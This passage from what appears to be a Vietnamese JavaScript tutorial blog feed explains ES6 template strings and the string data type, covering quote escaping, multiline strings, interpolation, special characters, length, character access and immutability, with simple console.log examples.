Pham.</span></code></pre></div> <h3 id="sử-dụng-đồng-thời-nháy-đơn-và-nháy-kép" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-%C4%91%E1%BB%93ng-th%E1%BB%9Di-nh%C3%A1y-%C4%91%C6%A1n-v%C3%A0-nh%C3%A1y-k%C3%A9p" aria-label="sử dụng đồng thời nháy đơn và nháy kép permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng đồng thời nháy đơn và nháy kép</h3> <p>Để sử dụng <strong>dấu nháy đơn hoặc nháy kép</strong> trong string, bạn có thể sử dụng các cách sau đây:</p> <p>► Sử dụng kí tự backslash <code>\</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">'I\'m a "JavaScript Lover".'</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I'm a "JavaScript Lover".</span></code></pre></div> <p>► Nếu muốn hiển thị <strong>nháy đơn</strong>, bạn có thể sử dụng <strong>nháy kép</strong> để biểu diễn string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I'm Lam Pham."</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I'm Lam Pham.</span></code></pre></div> <p>► Nếu muốn hiển thị <strong>nháy kép</strong>, bạn có thể sử dụng <strong>nháy đơn</strong> để biểu diễn string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">'Call me "JavaScript Lover"'</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Call me "JavaScript Lover"</span></code></pre></div> <p>Nếu so sánh với những ngôn ngữ khác, việc JavaScript hỗ trợ sử dụng <strong>nháy đơn hoặc nháy kép</strong> để biểu diễn string đã tiện lợi hơn rất nhiều rồi.</p> <p>Hơn nữa, khi sử dụng ES6 Template String, bạn chẳng cần phải quan tâm đến vấn đề này nữa, vì bạn đã có cặp dấu <strong>backtick</strong> rồi.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm a "JavaScript Lover".</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I'm a "JavaScript Lover".</span></code></pre></div> <p>Với template string, bạn vừa có thể hiển thị dấu <strong>nháy đơn và dấu nháy kép</strong> mà không cần sử dụng đến kí tự <code>\</code>.</p> <h3 id="viết-string-trên-nhiều-dòng" style="position:relative;"><a href="#vi%E1%BA%BFt-string-tr%C3%AAn-nhi%E1%BB%81u-d%C3%B2ng" aria-label="viết string trên nhiều dòng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết string trên nhiều dòng</h3> <p>Thông thường, để viết string trên nhiều dòng, bạn có thể sử dụng kí tự <code>\n</code> - <strong>newline</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello everyone!\n"</span> <span class="token operator">+</span> <span class="token string">"This is line 1 of multiline string example.\n"</span> <span class="token operator">+</span> <span class="token string">"This is line 2 of multiline string example."</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Hello everyone! This is line 1 of multiline string example. This is line 2 of multiline string example. */</span></code></pre></div> <p>Khi sử dụng ES6 Template String, bạn không cần dùng kí tự đó nữa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello everyone! This is line 1 of multiline string example. This is line 2 of multiline string example.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Hello everyone! This is line 1 of multiline string example. This is line 2 of multiline string example. */</span></code></pre></div> <h3 id="viết-biểu-thức-toán-học-hoặc-hàm-ngay-trong-string" style="position:relative;"><a href="#vi%E1%BA%BFt-bi%E1%BB%83u-th%E1%BB%A9c-to%C3%A1n-h%E1%BB%8Dc-ho%E1%BA%B7c-h%C3%A0m-ngay-trong-string" aria-label="viết biểu thức toán học hoặc hàm ngay trong string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết biểu thức toán học hoặc hàm ngay trong string</h3> <p>Cách thông thường:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">+</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Sum of x and y is: "</span> <span class="token operator">+</span> <span class="token punctuation">(</span>x <span class="token operator">+</span> y<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Sum of x and y is: 3</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Sum of x and y is: "</span> <span class="token operator">+</span> <span class="token function">sum</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Sum of x and y is: 3</span></code></pre></div> <p>Khi sử dụng ES6 Template String:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">+</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Sum of x and y is: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>x <span class="token operator">+</span> y<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Sum of x and y is: 3</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Sum of x and y is: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">sum</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Sum of x and y is: 3</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cần nhớ để sử dụng ES6 template string trong JavaScript:</p> <ul> <li>ES6 template string sử dụng dấu <strong>backtick</strong> để biểu diễn.</li> <li>ES6 template string giúp ghép nối string đơn giản hơn, không cần phải sử dụng toán tử <code>+</code> hay phương thức <code>concat</code> nữa.</li> <li>ES6 template string giúp sử dụng đồng thời dấu nháy đơn và nháy kép mà không cần dùng kí tự <code>\</code>.</li> <li>ES6 template string giúp viết string trên nhiều dòng đơn giản hơn.</li> <li>ES6 template cho phép viết biểu thức hoặc gọi hàm ngay trong string.</li> </ul> <p>Trên đây là một số tính năng mình thấy rất hữu ích của ES6 Template String. Ngoài ra, mình cũng có một số bài viết khác về template string:</p> <ul> <li><a href="/tagged-template-es6-la-gi/">Tagged Template Literals</a></li> <li><a href="/html-template-voi-template-string/">HTML template với template string</a></li> </ul>[email protected]<![CDATA[Kiểu dữ liệu string trong JavaScript]]><![CDATA[Kiểu dữ liệu string trong JavaScript dùng để lưu trữ giá trị dạng text. Và không có kiểu dữ liệu đặc biệt nào cho một ký tự. Biểu diễn string trong JavaScript Có ba loại kí tự dùng…]]>https://completejavascript.com/kieu-du-lieu-string-trong-javascript/https://completejavascript.com/kieu-du-lieu-string-trong-javascript/<![CDATA[Kiểu dữ liệu]]><![CDATA[String]]>Fri, 26 May 2017 10:00:00 GMT<p>Kiểu dữ liệu string trong JavaScript dùng để <strong>lưu trữ giá trị dạng text</strong>. Và không có kiểu dữ liệu đặc biệt nào cho một ký tự.</p> <h2 id="biểu-diễn-string-trong-javascript" style="position:relative;"><a href="#bi%E1%BB%83u-di%E1%BB%85n-string-trong-javascript" aria-label="biểu diễn string trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biểu diễn string trong JavaScript</h2> <p>Có <strong>ba loại kí tự</strong> dùng để biểu diễn string trong JavaScript là: dấu nháy đơn, dấu nháy kép và dấu "backtick", ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">let singleQuote = 'hello'; let doubleQuote = "hello"; let backticks = `hello`;</code></pre></div> <p>Trong đó, dấu nháy đơn và dấu nháy kép <strong>hoàn toàn tương đương</strong>. Còn dấu "backtick" thì khác hơn. Dấu "backtick" cho phép bạn viết biểu thức hoặc gọi hàm bên trong <code>${...}</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Sum of 1 and 2 is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Ứng dụng khác của dấu "backtick" là cho phép bạn viết string trên nhiều dòng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> userList <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Users: + Alex + John + Anna </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>userList<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Users: + Alex + John + Anna</code></pre></div> <blockquote> <p>💡 Để biết thêm những tính năng hay ho khác của dấu "backtick", mời bạn tham khảo hai bài viết sau:</p> <ul> <li><a href="/su-dung-es6-template-string-co-gi-hay/">Sử dụng ES6 template string có gì hay?</a></li> <li><a href="/tagged-template-es6-la-gi/">Tagged template ES6 là gì?</a></li> </ul> </blockquote> <p>Nếu viết string trên nhiều dòng với <strong>dấu nháy đơn hoặc dấu nháy kép</strong> theo cách tương tự thì bạn sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> userList <span class="token operator">=</span> "Users<span class="token operator">:</span> <span class="token operator">+</span> Alex <span class="token operator">+</span> John <span class="token operator">+</span> Anna "<span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Invalid or unexpected token</span></code></pre></div> <h2 id="biểu-diễn-kí-tự-đặc-biệt" style="position:relative;"><a href="#bi%E1%BB%83u-di%E1%BB%85n-k%C3%AD-t%E1%BB%B1-%C4%91%E1%BA%B7c-bi%E1%BB%87t" aria-label="biểu diễn kí tự đặc biệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biểu diễn kí tự đặc biệt</h2> <p>Thực tế, bạn vẫn có thể biểu diễn string trên nhiều dòng với <strong>dấu nháy đơn hoặc dấu nháy kép</strong> bằng cách sử dụng kí tự <strong>newline</strong> <code>\n</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> userList <span class="token operator">=</span> <span class="token string">"Users: \n+ Alex \n+ John \n+ Anna"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>userList<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Users: + Alex + John + Anna */</span></code></pre></div> <p>Kí tự <code>\n</code> là một kí tự đặc biệt, có nghĩa là <strong>newline</strong> (dòng mới).</p> <p>Sau đây là tổng hợp một số kí tự đặc biệt:</p> <ul> <li><code>\n</code>: dòng mới</li> <li><code>\r</code>: hệ điều hành Windows sử dụng tổ hợp <code>\r\n</code> để thể hiện <strong>xuống dòng</strong>. Trong khi các hệ điều hành khác Windows chỉ sử dụng kí tự <code>\n</code>.</li> <li><code>\'</code> hoặc <code>\"</code>: dấu nháy đơn hoặc dấu nháy kép.</li> <li><code>\\</code>: dấu backslash.</li> <li><code>\t</code>: dấu tab.</li> <li><code>\xXX</code>: biểu diễn kí tự unicode, trong đó <code>XX</code> là mã unicode ở hệ thập lục phân. Ví dụ: <code>\x7A</code> tương đương với <code>z</code>.</li> <li><code>\uXXXX</code>: biểu diễn symbol unicode, trong đó <code>XXXX</code> là mã unicode ở hệ thập lục phân của symbol với UTF-16. Ví dụ: <code>\u00A9</code> tương đương với biểu tượng copyright <code>©</code>.</li> <li><code>\u{X..XXX}</code> (từ 1 đến 6 kí tự): biểu diễn symbol unicode, trong đó <code>X..XXX</code> là mã unicode ở hệ thập lục phân của symbol với UTF-32.</li> </ul> <p>Một vài ví dụ với unicode:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"\u00A9"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ©</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"\u{20331}"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 佫</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"\u{1F60D}"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 😍</span></code></pre></div> <p>Tất cả các kí tự đặc biệt đều bắt đầu bằng kí tự <code>\</code>.</p> <p>Ví dụ sử dụng dấu nháy đơn trong string:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log('I\'m a js dev'); // I'm a js dev</code></pre></div> <p>Dĩ nhiên, bạn có thể <strong>kết hợp</strong> các dấu nháy với nhau để tránh sử dụng kí tự <code>\</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"I'm a js dev"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I'm a js dev</span></code></pre></div> <p>Với cách viết này, string trở nên rõ ràng và trực quan hơn rất nhiều.</p> <h2 id="độ-dài-string-trong-javascript" style="position:relative;"><a href="#%C4%91%E1%BB%99-d%C3%A0i-string-trong-javascript" aria-label="độ dài string trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Độ dài string trong JavaScript</h2> <p>Để lấy độ dài của string trong JavaScript, bạn sử dụng thuộc tính <code>length</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Me\n</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý:</strong></p> <p>Kí tự <code>\n</code> là kí tự đặc biệt. Nên string <code>Me\n</code> chỉ có độ dài bằng 3, chứ không phải bằng 4.</p> <p><code>length</code> là thuộc tính chứ không phải phương thức. Vì vậy, nếu bạn gọi <code>"str".length()</code> thì sẽ bị lỗi <strong>"str ".length is not a function</strong>.</p> </blockquote> <h2 id="truy-cập-các-kí-tự-của-string-trong-javascript" style="position:relative;"><a href="#truy-c%E1%BA%ADp-c%C3%A1c-k%C3%AD-t%E1%BB%B1-c%E1%BB%A7a-string-trong-javascript" aria-label="truy cập các kí tự của string trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Truy cập các kí tự của string trong JavaScript</h2> <p>Để lấy giá trị của kí tự ở vị trí <code>position</code> trong string, bạn có thể dùng <code>str[position]</code> hoặc <code>str.charAt(position)</code> (vị trí bắt đầu là <code>0</code>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token comment">// Lấy kí tự đầu tiên</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// h</span> <span class="token comment">// Lấy kí tự cuối cùng</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">[</span>str<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// o</span></code></pre></div> <p>Cách sử dụng <code>[]</code> là cách mới, trong khi cách dùng <code>charAt</code> là một cách cũ.</p> <p>Điểm khác nhau giữa hai cách này là: nếu không tìm thấy vị trí <code>position</code> thì <code>[position]</code> trả về <code>undefined</code>, còn <code>charAt(position)</code> trả về string rỗng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">[</span><span class="token number">1000</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">charAt</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ""</span></code></pre></div> <p>Để duyệt hết các kí tự trong string, bạn có thể dùng <a href="/vong-lap-trong-javascript/">vòng lặp for bình thường</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> str<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">h e l l o</code></pre></div> <p>Hoặc sử dụng vòng lặp <code>for...of</code> để ngắn gọn hơn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> c <span class="token keyword">of</span> str<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="string-trong-javascript-là-bất-biến" style="position:relative;"><a href="#string-trong-javascript-l%C3%A0-b%E1%BA%A5t-bi%E1%BA%BFn" aria-label="string trong javascript là bất biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>String trong JavaScript là bất biến</h2> <p>String trong JavaScript là <strong>bất biến</strong> vì bạn không thể thay đổi kí tự trong string.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">str<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"H"</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello - string không thay đổi</span></code></pre></div> <p>Để giải quyết vấn đề này, bạn <strong>bắt buộc phải tạo một string mới</strong>.</p> <p>Sau đây, mình sẽ tìm hiểu kỹ hơn về bài toán này.</p> <h2 id="thay-đổi-chữ-hoa-và-thường" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-ch%E1%BB%AF-hoa-v%C3%A0-th%C6%B0%E1%BB%9Dng" aria-label="thay đổi chữ hoa và thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 